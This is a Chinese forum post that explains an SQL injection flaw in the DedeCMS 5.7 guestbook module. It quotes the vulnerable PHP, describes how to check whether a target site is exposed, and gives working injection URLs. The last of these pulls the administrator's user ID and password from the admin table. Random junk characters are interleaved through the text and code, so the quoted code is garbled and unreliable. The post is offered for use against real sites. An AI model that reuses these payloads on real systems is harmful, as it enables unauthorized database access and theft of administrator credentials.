找回密码
 立即注册
查看: 4318|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.77 H) W( Z) n3 C8 h) j/ |) p$ v9 ~* K  Z
* k, d1 H7 Z1 c! T6 R# z, u# E
漏洞文件edit.inc.php具体代码:
7 U9 O3 s3 U; T& p  R0 ?9 r% |' p6 |' U
< ?php  . O8 o( l, |3 n2 P/ F' Y. j
9 Y( X, {" f& ]" d6 z' t. v
if(!defined('DEDEINC')) exit('Request Error!');  6 O4 |9 R% x* H# g" Q% m
  I4 z: a/ C7 E* F" _# z7 N
   
0 T* P! ^% i/ B' L' y$ Y9 ~  r! ?6 K9 f0 o
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
. ^% \6 o4 |. H
. S, v# T/ {% a5 X3 jelse $GUEST_BOOK_POS = "guestbook.php";  
  d0 \4 f7 |' y& }0 v1 [/ }  s% |6 T8 [% q) m: E$ d+ |1 L
   
* ?3 C7 N0 i2 {( W6 {/ G. P( K" S% p0 D% ]& e5 K' x
$id = intval($id);  
% D- ~" i) j& j, I7 `
8 P, c7 f5 _1 T2 iif(empty($job)) $job='view';  
- d5 W, m. B( x- l1 l  a, r, Z0 G) f' ^, E% ^4 ^
   
3 V: G& C+ z8 t' Z% t1 F+ a( I& g3 U/ l
if($job=='del' && $g_isadmin)  
, `* k6 M4 |" a
+ o- T3 V/ I( y( ^# ?# Q. C+ @{  / p/ i: o  I  x' g1 X% F, t7 u' i

( x4 d' P& C3 j6 X  v! Z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  9 u0 b/ |& t  y+ G/ ?0 R+ J+ }# M* D
9 W5 }0 {5 y1 i% @( P- Z
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  6 M( t1 d/ U% v5 G* ]# W

" P! o+ }1 Q& a/ K' _- qexit();  8 v/ _( y( y7 I1 ?9 t. W

/ x; j& Q6 V; [! e0 w}  6 E4 P2 ?+ t' y$ D

2 b+ Z$ Z0 C4 ~else if($job=='check' && $g_isadmin)  
- L1 \" B* Q/ G" Z+ I
) {: t3 j7 R# n- ^7 f+ J{  ; Z/ s. O! ^4 O

* I0 h8 ^6 d, s' H  M4 s" I$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  8 R  E6 q) o; ~6 C. E9 |
# a$ {5 }; g4 B) n" k2 T
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
( I  T7 g9 {3 ?  V/ F% J" X1 s
  ^( f' U' t$ d' ?( J# S  B% mexit();  
0 p7 m) [3 l  R& G$ y* h  Y% t- v$ x* D) P9 \
}  
5 j- w. d5 N0 X! [* C" K6 {
1 r# b+ K% n' {5 zelse if($job=='editok')  % E  S3 S- Q+ u, a" D) i
" |5 Q' g  M4 T2 c, o0 r
{  
- L# ]3 I; R4 y7 K- \; t) R
: _+ y) `4 F) q$remsg = trim($remsg);  ) ?- U% a8 Y, X+ e( g1 [" A' ~$ d
5 H  x" P! C/ `2 A  E
if($remsg!='')  
, C! @$ l' J! u' J* A* s* \3 a6 A, N8 v* \, g6 y/ |+ C/ W- z. U
{  2 i- _% b# u) ^1 {
( z  z3 Q: V; K+ W( e" [" \
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
5 G; Q# J+ |  ~+ o8 t: l7 G: T0 ~$ g! O6 C8 q; |  s+ V$ t9 D! w
if($g_isadmin)  
2 b' O) a8 `4 G) s/ N! f4 j" }: O" `1 D, b8 C8 f
{  " L/ z( s: Y7 u2 L8 X
5 q4 S$ y# {  v( p5 b: e* I' a# P
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
6 q. \2 ^( t# h# \7 t* ^3 J" _  e$ o# j1 z& K3 W+ i
//$remsg <br /><font color=red>管理员回复:</font> }  - J, C6 c* @: l! Z) u
* W  U6 x! T1 w1 L/ z6 p
else - }# P$ U9 U/ W+ P( Z

, a5 Z& _* D/ g{  + d& k6 r# ~! L+ \, [0 P

7 M8 A3 E+ v6 i* D" o8 X' C$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  0 u( B* z* X/ X+ j3 k( c! u0 l
, e. h0 D1 [7 v
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
* `5 w9 w7 l2 `9 o0 _. _/ |3 H1 H: H3 P+ Q( E
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; C! ^/ V8 M4 @! S2 q1 @6 N2 j; t, G+ S4 D. g0 r: j* _8 @
$msg = $oldmsg.$remsg;  
1 C% Q: }' g% P) b- H& [4 N% E
}  % v; Y' ~% A' m# x' P

- ]2 z9 h0 @" Q}  : g" h; o2 p$ o! m5 K  m% u- c3 H8 |. y2 H
9 r' y3 m5 J9 ^6 v/ O! O5 y9 Q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  $ o2 q3 G- u8 c8 u4 Y

7 b3 ^8 |- b7 |$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
6 l' L8 L6 J2 {/ V8 C0 r  f+ Q
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ' W8 }1 O+ j4 F1 D
, U  \  d5 l0 m* ]0 z2 [, \
exit();  * q$ w: i% `) l# R9 @- ?1 w. P9 R# o
1 B3 l8 V7 e, [- X" `$ {2 T
}  
& ]( W/ Z" X- Z0 [8 Y8 E6 X  d% _2 |
//home:www.errs.cc  
- s( Q' }% I* p. I5 o( S7 t2 I% Q) v6 a! H1 s" J" q& \$ X
if($g_isadmin)  # T6 w: A' l4 p/ H& n- Z* s/ |6 U

9 w9 J* i+ ^. g. r2 [+ j{  8 s4 a3 v4 ]) _" s% N/ d9 e+ [6 f1 M$ ^
" w, f* b0 A' `* u$ S
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  0 x6 {/ g. }( z% z; @  F' h0 c4 m

! ~2 U/ T/ [& E# urequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  * h5 N( M& v- x; j9 w! {( u

0 X& y. F+ p' F4 }. Q; J  s}  
! Q% |5 s4 @6 ^2 `
4 N' x# I+ l$ i* P9 ^3 d# ^else
! K6 ?& {6 ]+ a. N5 f% k7 T' y
* p& z6 g6 x$ x, v: d{  
4 u: c5 M  ^; N% m% A) _8 u6 C; ?
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");    n3 J6 d. ]+ @/ K+ \$ K6 N8 u! Y

4 }3 X% d1 {5 `' I! vrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
# x. I3 l  K6 |5 B
; o4 g& Z- d1 w1 Y( w} 漏洞成功需要条件:
, W8 y( C7 n9 R, Q) J* D1. php magic_quotes_gpc=off. u, `& N. z# y8 j; w  P3 x. E) E2 W
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
$ I& S, B  I2 P8 W9 f* c. ^) }2 K* `; u4 L% s, `" Y! T
怎么判断是否存在漏洞:
3 b5 u  V0 W1 D4 \. s先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
6 R; K* R2 Z$ k# `5 A然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID- ~" I8 m, ]" J; k$ E: m
访问:
' g1 N. s. ~5 t! f
5 o( P. l- W: o2 \) p# G1 Uwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
* C, i# l8 ^7 }5 O' D跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 S' ^8 p, j- \
- ?; z8 K9 W6 m% o; P' ]# z. E' o2 E' i/ [7 T% M) B8 @) }, J
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off$ \6 k3 q# ]' j9 p- `/ b1 [5 n
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。  F! G- \6 [$ e+ J; h- Z
那么再次访问$ i2 N; r- G9 g" z+ s
7 P4 y  N5 [& \+ C
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
& u0 i/ s1 o" S" M" _+ a7 }, ~8 P6 J
, J7 _7 h) k; ]1 J大概利用就是这样,大家有兴趣的多研究下!!
& l" r! L. R2 p) T( F" @4 x, l
  s$ v, v8 J8 R最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!! Z+ R( H& H; @6 w

- W2 z3 q9 s3 |: r3 K0 n! f% |5 fview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表